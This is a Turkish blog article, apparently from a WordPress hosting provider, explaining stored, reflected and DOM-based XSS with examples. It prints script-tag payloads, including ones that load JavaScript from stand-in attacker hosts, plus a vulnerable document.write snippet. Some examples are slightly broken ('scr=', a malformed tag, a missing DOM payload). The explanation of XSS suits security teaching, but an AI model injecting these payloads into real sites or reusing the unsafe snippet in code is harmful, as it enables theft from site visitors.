Siteler Arası Komut Dosyası Çalıştırma (XSS) Saldırılarının Türleri
Yayınlanan: 2022-11-04WordPress ve Siteler Arası Komut Dosyası Çalıştırma hakkındaki önceki makalemizde, bu tür saldırıların ne olduğu ve bunları nasıl önleyebileceğiniz konusunda üst düzey bir görüş aldık. Bu yazıda, bazı siteler arası komut dosyası çalıştırma örnekleriyle birlikte bazı ayrıntıları derinlemesine inceleyeceğiz. Hadi gidelim!
Kalıcı XSS
Kalıcı XSS (veya depolanmış XSS), siteler arası komut dosyası çalıştırmanın ana türlerinden biridir. Kalıcı olarak adlandırılır çünkü saldırganın enjekte ettiği şey daha sonra kullanılmak üzere sunucuda kalıcı olarak depolanır. Bir ziyaretçi belirli bir sayfaya gittiğinde, kod yükleme sırasında veya belirli bir işlev çağrıldığında tarayıcı tarafından yürütülür.
Kalıcı XSS Örneği:
Diyelim ki bir gönderinin altındaki yorum bölümüne birisi basit bir cevap/fikir ile birlikte bir uyarı yazısı giriyor.
Great solution! It works for me.<script>alert("Some text message")</script>
Yorum bölümü savunmasızsa ve gönderilen yorumlar temizlenmemişse, bu kod veritabanına kaydedilir. Sonuç olarak, o andan itibaren, sayfa (herhangi biri tarafından) yüklendiğinde ve tüm yorumlarla birlikte “kötü yorum” göründüğünde, mesajla birlikte bir açılır pencere görünecektir.
Elbette, bir uyarı mesajı can sıkıcı olabilir ama gerçekten zararlı olmayabilir. Ancak, saldırgan aşağıdaki gibi uyarı mesajı yerine kötü amaçlı bir komut dosyası eklerse ne olur:
Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">
Can sıkıcı bir açılır pencere yerine, son kullanıcı XSS saldırısını deneyimleyecektir. Hasar, yürütülen kodun türüne bağlı olacaktır. Bu nedenle Stored XSS saldırıları çok tehlikeli kabul edilir. Her kullanıcıya saldırırlar ve kullanıcıdan herhangi bir girdi bile istemezler (en başta sayfayı açan çubuk).
Kalıcı Olmayan XSS
Kalıcı XSS kadar tehlikeli olmasa da, kalıcı olmayan (veya yansıtıcı) XSS, siteler arası komut dosyası çalıştırma saldırısının en yaygın türü olarak kabul edildikleri için hala sorunludur.
Esasen, kalıcı olmayan bir XSS saldırısında olan şey, son kullanıcının kötü niyetli bir bağlantıya tıklaması ve bu bağlantının kendisini başka bir web sitesine göndererek kötü kod yürütmeyi tetiklemesidir. Saldırı, hazırlanmış bir URL veya HTTP parametreleri aracılığıyla yapılır ve Kalıcı XSS'deki gibi veritabanına kalıcı olarak kaydedilmez.
Ancak, kalıcı olmayan bir saldırı gerçekleştirmeden önce, saldırganın bir web sitesinin XSS saldırılarına karşı savunmasız olup olmadığını belirlemesi gerekir. Bunu yapmanın bir yolu, web sitesinin dahili arama motorunu kullanmaktır. Bir string girerseniz, “ayakkabı” diyelim ve aramak için butona basarsanız, şuna benzer bir fonksiyon çalıştırılır:
http://exampledomain.com?query=shoes
İşlev çalışmadan önce, girdiğiniz dize temizlenir veya en azından öyle olmalıdır, böylece arama formu kötü niyetli girdilerden korunur.
Saldırgan, arama formunu kullanabilir ve şöyle bir komut dosyası girmeyi deneyebilir:
<script type="text/javascript">alert("vulnerable");</script>
Form temizlenmemişse işlevi normal şekilde çalıştırır:
http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>
Bu, (bu örnekte) uyarı açılır penceresinin görüntülenmesine neden olur. Bu, saldırganın arama formunun bir XSS güvenlik açığı olduğunu bildiği zamandır.
Kalıcı Olmayan XSS Örneği
Bir sitede güvenlik açığı bulunması durumunda, saldırgan şuna benzer bir URL oluşturmayı seçebilir:
http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"
Ardından, 'kötü' bir bağlantı gibi görünmemesi için URL'yi 'maskeler' ve başkalarını buna tıklamaya teşvik etmeye çalışırlar. Tipik olarak bu, spam e-postalar göndermem veya belki de bir foruma bir bağlantı eklemem olabilir.
DOM Tabanlı XSS
DOM tabanlı bir XSS (veya istemci tarafı XSS) olayı sırasında saldırı, kötü amaçlı kodu içeren bir URL üzerinden iletilir.
Ayrıca, kurbanın tarayıcısında yürütüldüğü için istemci tarafı bir güvenlik açığı olarak kabul edilir, ancak burada olan şey, DOM'un bir kısmının değiştirilmesidir, bu da müşterinin rızası olmadan kod çalıştırmasına neden olur.
NOT: Belge Nesne Modeli (DOM), komut dosyası dilini gerçek web sayfasına bağlayarak bir web sayfasının düzen yapısını tanımlayan bir arabirimdir. Bunu başarmak için, geliştiricilerin belgeye erişmesine ve içeriği güncellemek için işlemleri yürütmesine izin verir.
DOM Tabanlı XSS Örneği:
DOM Tabanlı siteler arası komut dosyası çalıştırma saldırısı örneği, ikamet ettiğiniz ülke gibi bir seçenek belirlemenize olanak tanıyan bir formla gösterilebilir. Bunun aşağıdaki örnekle nasıl sonuçlanacağını görelim:
Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>
Böylece, formda seçilen bir seçeneğe sahip bir sayfaya aşağıdaki gibi bir URL aracılığıyla erişilebilir:
http://localhost/?country=Lithuania
Ancak bunun gibi bir girişi denerseniz (aşağıya bakın), tarayıcı o dizeyi içeren bir DOM nesnesi oluşturacak ve betiği çalıştıracaktır.
http://localhost/?country=Lithuania
Bunun nedeni, formun korumasız olması ve ilk kodun herhangi bir HTML işaretlemesi için hazır olmamasıdır. Yaptığı şey, DOM'u sayfaya çekmek ve kötü amaçlı komut dosyasını çalıştırmaktır.
XSS saldırılarının hepsi çok yaygındır. Kendinizi olabildiğince iyi korumanın basit bir yolu, WordPress web sitenizdeki eklentileri her zaman güncel tutmak ve yüksek kaliteli bir ana bilgisayar kullanmaktır. Umarız bu örnekler, bu tür saldırıların nasıl çalıştığı ve nelere dikkat etmeniz gerektiği konusunda size bir fikir vermiştir!